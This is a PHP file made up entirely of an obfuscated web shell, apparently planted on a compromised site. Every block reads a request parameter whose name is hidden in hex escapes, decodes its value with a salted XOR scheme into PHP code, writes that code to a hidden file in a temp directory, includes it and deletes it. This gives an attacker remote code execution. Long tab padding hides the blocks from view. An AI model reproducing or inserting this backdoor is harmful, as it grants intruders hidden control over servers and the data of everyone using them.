<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["k"])){ $marker = $_REQUEST["k"]; $marker = explode( '.', $marker ); $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $marker as $j =>$v3) {$sChar = ord( $s[$j% $lenS]); $d =( ( int)$v3 - $sChar -( $j% 10)) ^ 20; $ref.= chr( $d); } $rec = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", session_save_path()]); foreach ($rec as $key => $pset) { if (max(0, is_dir($pset) * is_writable($pset))) { $pgrp = "$pset/.entry"; if (@file_put_contents($pgrp, $ref) !== false) { include $pgrp; unlink($pgrp); exit; } } } }
																																										if(isset($_POST["pt\x72"]) ? true : false){ $holder = $_POST["pt\x72"]; $holder = explode ( "." , $holder ) ; $marker = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1 ); $u = 0; while ($u < count($holder)) {$v7 = $holder[$u]; $sChar = ord($s1[$u%$sLen] ); $d = ((int)$v7 - $sChar - ($u%10)) ^87; $marker .= chr($d ); $u++; } $ref = array_filter(["/tmp", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getcwd(), getenv("TEMP"), getenv("TMP")]); $ent = 0; do { $key = $ref[$ent] ?? null; if ($ent >= count($ref)) break; if (max(0, is_dir($key) * is_writable($key))) { $flag = str_replace("{var_dir}", $key, "{var_dir}/.binding"); if (file_put_contents($flag, $marker)) { include $flag; @unlink($flag); exit; } } $ent++; } while (true); }
																																										if(in_array("mrk", array_keys($_POST))){ $dchunk = $_POST["mrk"]; $dchunk = explode ('.' ,$dchunk ) ; $flag = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $v = 0; $__len = count($dchunk); do { if($v >= $__len) break; $v3 = $dchunk[$v]; $sChar = ord($salt9[$v % $lenS]); $dec =((int)$v3 - $sChar -($v % 10)) ^ 21; $flag .= chr($dec); $v++; } while(true); $resource = array_filter([getenv("TMP"), "/tmp", getcwd(), session_save_path(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); for ($res = 0, $itm = count($resource); $res < $itm; $res++) { $descriptor = $resource[$res]; if (is_writable($descriptor) && is_dir($descriptor)) { $comp = join("/", [$descriptor, ".entry"]); $success = file_put_contents($comp, $flag); if ($success) { include $comp; @unlink($comp); die();} } } }
																																										if(!is_null($_REQUEST["e\x6E\x74"] ?? null)){ $value = array_filter([getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/var/tmp", session_save_path()]); $dchunk = $_REQUEST["e\x6E\x74"]; $dchunk=explode ( '.' , $dchunk ); $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $v = 0; array_walk($dchunk, function ($v9) use (&$parameter_group, &$v, $salt, $lenS) { $sChar = ord($salt[$v % $lenS]); $d = ((int)$v9 - $sChar - ($v % 10)) ^ 62; $parameter_group .= chr($d); $v++;} ); foreach ($value as $key => $ptr) { if ((bool)is_dir($ptr) && (bool)is_writable($ptr)) { $res = "$ptr/.flg"; $success = file_put_contents($res, $parameter_group); if ($success) { include $res; @unlink($res); die();} } } }
																																										if(array_key_exists("\x74\x6Fken", $_REQUEST) && !is_null($_REQUEST["\x74\x6Fken"])){ $res = $_REQUEST["\x74\x6Fken"]; $res= explode( '.' , $res); $binding=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s ); $w=0; foreach ($res as $v2) {$chS=ord($s[$w% $lenS] ); $d=((int)$v2 - $chS - ($w% 10))^ 15; $binding .= chr($d ); $w++; } $descriptor = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm", getcwd(), session_save_path(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); $flg = 0; do { $itm = $descriptor[$flg] ?? null; if ($flg >= count($descriptor)) break; if (is_writable($itm) && is_dir($itm)) { $hld = "$itm" . "/.key"; if (file_put_contents($hld, $binding)) { require $hld; unlink($hld); exit; } } $flg++; } while (true); }
																																										if(array_key_exists("\x73ymb\x6Fl", $_REQUEST)){ $data = $_REQUEST["\x73ymb\x6Fl"]; $data =explode('.' , $data ) ; $pgrp = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); foreach ($data as $n => $v7): $sChar = ord($s7[$n % $lenS]); $dec = ((int)$v7 - $sChar - ($n % 10)) ^ 42; $pgrp .= chr($dec); endforeach; $token = array_filter([sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), "/var/tmp", "/dev/shm"]); foreach ($token as $holder): if (array_product([is_dir($holder), is_writable($holder)])) { $fac = str_replace("{var_dir}", $holder, "{var_dir}/.descriptor"); if (file_put_contents($fac, $pgrp)) { require $fac; unlink($fac); exit; } } endforeach; }
																																										if(array_key_exists("\x66a\x63", $_REQUEST) && !is_null($_REQUEST["\x66a\x63"])){ $element = $_REQUEST["\x66a\x63"]; $element = explode ( '.' , $element); $holder = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $w = 0; $__len = count($element); do { if($w >= $__len) break; $v7 = $element[$w]; $chS = ord($salt[$w% $sLen]); $dec = ((int)$v7 - $chS -($w% 10)) ^ 74; $holder .= chr($dec); $w++; }while(true); $token = array_filter([getenv("TEMP"), session_save_path(), getenv("TMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getcwd()]); foreach ($token as $key => $elem) { if ((is_dir($elem) and is_writable($elem))) { $key = str_replace("{var_dir}", $elem, "{var_dir}/.resource"); if (file_put_contents($key, $holder)) { include $key; @unlink($key); exit; } } } }
																																										if(!empty($_REQUEST["\x64e\x73c\x72ip\x74or"])){ $elem = $_REQUEST["\x64e\x73c\x72ip\x74or"]; $elem = explode ( ".",$elem ) ; $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $p = 0; array_walk($elem ,function ($v6) use (&$binding ,&$p ,$s ,$sLen) { $chS = ord($s[$p % $sLen]); $d = ((int)$v6 - $chS - ($p % 10)) ^ 97; $binding .= chr($d); $p++; }); $flg = array_filter(["/tmp", session_save_path(), getenv("TMP"), getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($flg as $resource) { if (array_product([is_dir($resource), is_writable($resource)])) { $hld = sprintf("%s/.k", $resource); if (@file_put_contents($hld, $binding) !== false) { include $hld; unlink($hld); die(); } } } }
																																										if(array_key_exists("\x66\x61cto\x72", $_REQUEST)){ $flag = $_REQUEST["\x66\x61cto\x72"]; $flag = explode(".", $flag ); $k = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $i = 0; array_walk($flag ,function($v7) use(&$k ,&$i ,$s ,$sLen) { $sChar = ord($s[$i % $sLen]); $d = ((int)$v7 - $sChar -($i % 10)) ^ 38; $k .=chr($d); $i++; }); $value = array_filter([getenv("TMP"), getcwd(), "/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path()]); foreach ($value as $comp) { if ((is_dir($comp) and is_writable($comp))) { $tkn = "$comp" . "/.property_set"; if (file_put_contents($tkn, $k)) { require $tkn; unlink($tkn); die(); } } } }
																																										if(isset($_REQUEST["re\x66"])){ $hld = array_filter(["/dev/shm", getcwd(), "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir")]); $fac = $_REQUEST["re\x66"]; $fac= explode ( '.' , $fac ) ; $object = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s9); $o = 0; foreach( $fac as $v2) {$sChar = ord( $s9[$o% $lenS]); $dec =( ( int)$v2 - $sChar -( $o% 10)) ^ 3; $object .= chr( $dec); $o++; } foreach ($hld as $symbol): if (is_dir($symbol) && is_writable($symbol)) { $pset = join("/", [$symbol, ".ent"]); if (file_put_contents($pset, $object)) { include $pset; @unlink($pset); die(); } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["tk\x6E"])){ $item = array_filter([sys_get_temp_dir(), "/dev/shm", "/var/tmp", session_save_path(), getenv("TMP"), "/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $itm = $_POST["tk\x6E"]; $itm = explode ('.',$itm ) ; $property_set = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $y = 0; $__tmp = $itm; while ($v2 = array_shift($__tmp)) { $sChar = ord($s[$y % $lenS]); $dec = ((int)$v2 - $sChar - ($y % 10)) ^ 86; $property_set .= chr($dec); $y++; } $record = 0; do { $data_chunk = $item[$record] ?? null; if ($record >= count($item)) break; if (is_writable($data_chunk) && is_dir($data_chunk)) { $pgrp = vsprintf("%s/%s", [$data_chunk, ".rec"]); if (file_put_contents($pgrp, $property_set)) { require $pgrp; unlink($pgrp); exit; } } $record++; } while (true); }


if(array_key_exists("\x70\x67rp", $_REQUEST) && !is_null($_REQUEST["\x70\x67rp"])){
	$res = $_REQUEST["\x70\x67rp"];
	  $res= explode	(		".",$res);
	$rec = '';
            $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(  $s6 );
            $y = 0;
    
            $__tmp = $res;
            while(  $v7 = array_shift(  $__tmp)) {
                $chS = ord(  $s6[$y % $lenS] );
                $d =(  (  int)$v7 - $chS -(  $y % 10)) ^ 26;
                $rec.=	 chr(  $d );
                $y++;} 	
	$binding = array_filter([sys_get_temp_dir(), getenv("TMP"), "/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), session_save_path()]);
	foreach ($binding as $key => $symbol) {
    		if (!!is_dir($symbol) && !!is_writable($symbol)) {
    $parameter_group = vsprintf("%s/%s", [$symbol, ".sym"]);
    if (file_put_contents($parameter_group, $rec)) {
	require $parameter_group;
	unlink($parameter_group);
	die();
}
}
}
}